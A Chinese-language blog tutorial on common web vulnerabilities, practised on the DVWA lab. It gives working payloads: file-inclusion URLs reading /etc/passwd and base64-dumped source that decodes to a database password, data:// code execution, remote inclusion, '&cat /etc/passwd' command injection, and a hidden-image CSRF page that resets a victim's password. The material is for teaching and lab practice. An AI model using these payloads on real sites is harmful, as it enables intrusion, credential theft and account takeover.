第十一篇 其他常见漏洞及相关实例
文件包含漏洞
什么是文件包含漏洞
文件包含:指的是脚本语言程序支持文件包含函数,开发者为了避免再次编写代码,将这些代码插入到指定的地方,在需要的时候直接调用该文件,这种操作就称之为文件包含。如果我们对这些文件具有读取权限的话,就会导致了文件包含漏洞。
php常见的高危文件包含函数
include()
require()
include_once()
require_once()
对文件进行操作的其他函数,如f_open(),f_read()
文件包含分为两类:本地文件包含和远程文件包含。
本地包含主要指:能够读取或者执行本地文件
远程文件包含:需要php.ini开启了allow_url_fopen和allow_url_include的配置,然后可以加载远程文件
应用实例
用到的靶场是:dvwa
本地文件包含
包含 /etc/passwd,正常访问页面:http://www.dvwa.com:9001/vulnerabilities/fi/?page=file1.php
获取/etc/passwd内容:http://www.dvwa.com:9001/vulnerabilities/fi/?page=/etc/passwd
伪协议
- php://input
用来接收POST参数,通过input把我们的语句输入上去然后执行。使用burp来实现
- data://
是一种数据流封装,将原本的include的文件流重定向到了用户可控制的输入流中, 示例:
data:text/plain,<?php system(id)?>
- php://filter
用来查看源码,当我们查看的是php文件时,会被解析,所以这个时候就可以使用该语法来进行过滤,语法格式:php://filter/read=convert.base64-encode/resource=文件路径,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../phpinfo.php
得到的是base64字符串,需要进行解密
base64:
PD9waHANCg0KZGVmaW5lKCAnRFZXQV9XRUJfUEFHRV9UT19ST09UJywgJycgKTsNCnJlcXVpcmVfb25jZSBEVldBX1dFQl9QQUdFX1RPX1JPT1QgLiAnZHZ3YS9pbmNsdWRlcy9kdndhUGFnZS5pbmMucGhwJzsNCg0KZHZ3YVBhZ2VTdGFydHVwKCBhcnJheSggJ2F1dGhlbnRpY2F0ZWQnLCAncGhwaWRzJyApICk7DQoNCnBocGluZm8oKTsNCg0KPz4NCg==
解密:
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
phpinfo();
?>
通过文件包含,我们还可以获取
1)日志文件,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=/var/log/alternatives.log
bs64:
PD9waHANCg0KIyBJZiB5b3UgYXJlIGhhdmluZyBwcm9ibGVtcyBjb25uZWN0aW5nIHRvIHRoZSBNeVNRTCBkYXRhYmFzZSBhbmQgYWxsIG9mIHRoZSB2YXJpYWJsZXMgYmVsb3cgYXJlIGNvcnJlY3QNCiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4NCiMgICBUaGFua3MgdG8gQGRpZ2luaW5qYSBmb3IgdGhlIGZpeC4NCg0KIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UNCiREQk1TID0gJ015U1FMJzsNCiMkREJNUyA9ICdQR1NRTCc7IC8vIEN1cnJlbnRseSBkaXNhYmxlZA0KDQojIERhdGFiYXNlIHZhcmlhYmxlcw0KIyAgIFdBUk5JTkc6IFRoZSBkYXRhYmFzZSBzcGVjaWZpZWQgdW5kZXIgZGJfZGF0YWJhc2UgV0lMTCBCRSBFTlRJUkVMWSBERUxFVEVEIGR1cmluZyBzZXR1cC4NCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuDQokX0RWV0EgPSBhcnJheSgpOw0KJF9EVldBWyAnZGJfc2VydmVyJyBdICAgPSAnMTI3LjAuMC4xJzsNCiRfRFZXQVsgJ2RiX2RhdGFiYXNlJyBdID0gJ2R2d2EnOw0KJF9EVldBWyAnZGJfdXNlcicgXSA9ICdhZG1pbic7DQokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9ICdzWjZLbFdHcHVwVHcnOw0KDQojIE9ubHkgdXNlZCB3aXRoIFBvc3RncmVTUUwvUEdTUUwgZGF0YWJhc2Ugc2VsZWN0aW9uLg0KJF9EVldBWyAnZGJfcG9ydCAnXSA9ICc1NDMyJzsNCg0KIyBSZUNBUFRDSEEgc2V0dGluZ3MNCiMgICBVc2VkIGZvciB0aGUgJ0luc2VjdXJlIENBUFRDSEEnIG1vZHVsZQ0KIyAgIFlvdSdsbCBuZWVkIHRvIGdlbmVyYXRlIHlvdXIgb3duIGtleXMgYXQ6IGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FkbWluL2NyZWF0ZQ0KJF9EVldBWyAncmVjYXB0Y2hhX3B1YmxpY19rZXknIF0gID0gJyc7DQokX0RWV0FbICdyZWNhcHRjaGFfcHJpdmF0ZV9rZXknIF0gPSAnJzsNCg0KIyBEZWZhdWx0IHNlY3VyaXR5IGxldmVsDQojICAgRGVmYXVsdCB2YWx1ZSBmb3IgdGhlIHNlY3VpcnR5IGxldmVsIHdpdGggZWFjaCBzZXNzaW9uLg0KIyAgIFRoZSBkZWZhdWx0IGlzICdpbXBvc3NpYmxlJy4gWW91IG1heSB3aXNoIHRvIHNldCB0aGlzIHRvIGVpdGhlciAnbG93JywgJ21lZGl1bScsICdoaWdoJyBvciBpbXBvc3NpYmxlJy4NCiRfRFZXQVsgJ2RlZmF1bHRfc2VjdXJpdHlfbGV2ZWwnIF0gPSAnaW1wb3NzaWJsZSc7DQoNCiMgRGVmYXVsdCBQSFBJRFMgc3RhdHVzDQojICAgUEhQSURTIHN0YXR1cyB3aXRoIGVhY2ggc2Vzc2lvbi4NCiMgICBUaGUgZGVmYXVsdCBpcyAnZGlzYWJsZWQnLiBZb3UgY2FuIHNldCB0aGlzIHRvIGJlIGVpdGhlciAnZW5hYmxlZCcgb3IgJ2Rpc2FibGVkJy4NCiRfRFZXQVsgJ2RlZmF1bHRfcGhwaWRzX2xldmVsJyBdID0gJ2Rpc2FibGVkJzsNCg0KIyBWZXJib3NlIFBIUElEUyBtZXNzYWdlcw0KIyAgIEVuYWJsaW5nIHRoaXMgd2lsbCBzaG93IHdoeSB0aGUgV0FGIGJsb2NrZWQgdGhlIHJlcXVlc3Qgb24gdGhlIGJsb2NrZWQgcmVxdWVzdC4NCiMgICBUaGUgZGVmYXVsdCBpcyAnZGlzYWJsZWQnLiBZb3UgY2FuIHNldCB0aGlzIHRvIGJlIGVpdGhlciAndHJ1ZScgb3IgJ2ZhbHNlJy4NCiRfRFZXQVsgJ2RlZmF1bHRfcGhwaWRzX3ZlcmJvc2UnIF0gPSAnZmFsc2UnOw0KDQo/Pg0K
解码:
<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.
# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'admin';
$_DVWA[ 'db_password' ] = 'sZ6KlWGpupTw';
# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create
$_DVWA[ 'recaptcha_public_key' ] = '';
$_DVWA[ 'recaptcha_private_key' ] = '';
# Default security level
# Default value for the secuirty level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';
# Default PHPIDS status
# PHPIDS status with each session.
# The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';
# Verbose PHPIDS messages
# Enabling this will show why the WAF blocked the request on the blocked request.
# The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';
?>
3)系统配置文件,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=/proc/mounts
远程文件包含
在我们的服务器(http://192.168.1.7:7080/)根目录下:/var/www/html创建一个test.txt文件
<?php phpinfo();?>
我们来打开一下这个页面:http://192.168.1.7:7080/test.txt
然后在我们的http://www.dvwa.com:9001/ 服务器进行包含访问:http://www.dvwa.com:9001/vulnerabilities/fi/?page=http://192.168.1.7:7080/test.txt
代码执行漏洞
什么是代码执行漏洞
指的是应用程序对输入参数过滤不严导致恶意攻击值能控制最终的命令,进而入侵系统,造成严重破坏的高危漏洞,比如应用在调用一些字符串转为代码的函数时,没有对字符串进行过滤
PHP:
eval() //把字符串作为PHP代码执行
assert() //检查一个断言是否为 FALSE,可用来执行代码
preg_replace() //执行一个正则表达式的搜索和替换
call_user_func()//把第一个参数作为回调函数调用
call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
array_map() //为数组的每个元素应用回调函数
Python:
exec(string) # Python代码的动态执行
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从一个文件中读取和执行Python脚本
input(string) #Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入
compile(string) # 将源字符串编译为可执行对象
命令执行漏洞
什么是命令执行漏洞
是指Web应用程序接收用户输入,拼接到要执行的系统命令中执行,产生原因和代码执行漏洞一样,都是没有对输入进行严格过滤
PHP:
system() //执行外部程序,并且显示输出
exec() //执行一个外部程序
shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() //执行外部程序并且显示原始输出
pcntl_exec() //在当前进程空间执行指定程序
popen() //打开进程文件指针
proc_open() //执行一个命令,并且打开用来输入/输出的文件指针
Python:
system() #执行系统指令
popen() #popen()方法用于从一个命令打开一个管道
subprocess.call #执行由参数提供的命令
spawn #执行命令
常见的命令连接符: & ,&& ,| , ||
靶场练习
正常输入的情况
使用&拼接ifconfig:220.181.38.148&ifconfig
查看/etc/passwd文件:220.181.38.148&cat /etc/passwd
CSRF漏洞
什么是CSRF漏洞
跨站请求伪造,是一种挟制用户在当前已登录的Web应用程序上执行非法操作,比如利用当前用户的身份,发送恶意请求,有可能用户的账号会被盗、获取的账户余额等操作
常见的就是我们登录一个网站之后,cookie会保存我们的登录信息,在请求该网站的时候,浏览器都会自动带上该域名的cookie信息,攻击者就可以利用这个cookie信息去向后端发起恶意请求
靶场练习
修改密码
查看修改密码的链接
low级别,查看修改密码的链接:http://www.dvwa.com:9001/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
打开隐身模式,套用原来网站的cookie,直接修改密码:http://www.dvwa.com:9001/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
所以这个时候,攻击者只要诱惑用户去点击自己设计好的链接,比如是 http://www.xxx.com/test.html
<img src="http://www.dvwa.com:9001/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
这样密码就改成了攻击者自己的密码
防御方式有:
1. 加上token进行验证,比如:csrf_toekn
2. 判断页面来源
3. 加上验证码进行校验
4. 修改密码时,要验证原始密码
SSRF漏洞
什么是SSRF漏洞
服务器端请求伪造,是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞,正式因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,参考来源(https://www.freebuf.com/articles/web/260806.html)
危害
- 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等
- 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等
- 对内网Web应用进行指纹识别,识别企业内部的资产信息
- 攻击内网的Web应用,比如sql注入、文件上传等
- 利用file协议读取服务器本地文件
- 进行跳板攻击
XML实体注入
什么是XML实体注入
即XML外部实体注入攻击,主要是应用程序在解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网、发起dos攻击等危害,一般触发位置是可以上传xml文件的位置,没有对xml文件进行过滤,导致上传了恶意的xml文件
业务逻辑漏洞
越权漏洞
简单说就是其中一个账号拥有修改另外一个账号信息的权限,分为平行越权和垂直越权
平行越权主要指具有相同权限的用户或者相同角色
垂直越权主要指不同权限的用户或者不同角色的用户
密码找回漏洞
常见的密码找回有:邮箱、密码保护、手机号找回等,所以,在进行密码找回的时候,除了找回自己的密码,还能找回其他用户的密码,这样就会导致密码找回漏洞
验证码漏洞
常见场景就是验证码登录,对于登录的验证码没有进行处理,比如验证码可以重复利用、验证码没有销毁、没事设置验证码失败次数等,都会导致该漏洞
支付漏洞
常见的有:修改支付价格、修改支付状态、修改订单数量、修改订单状态等
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!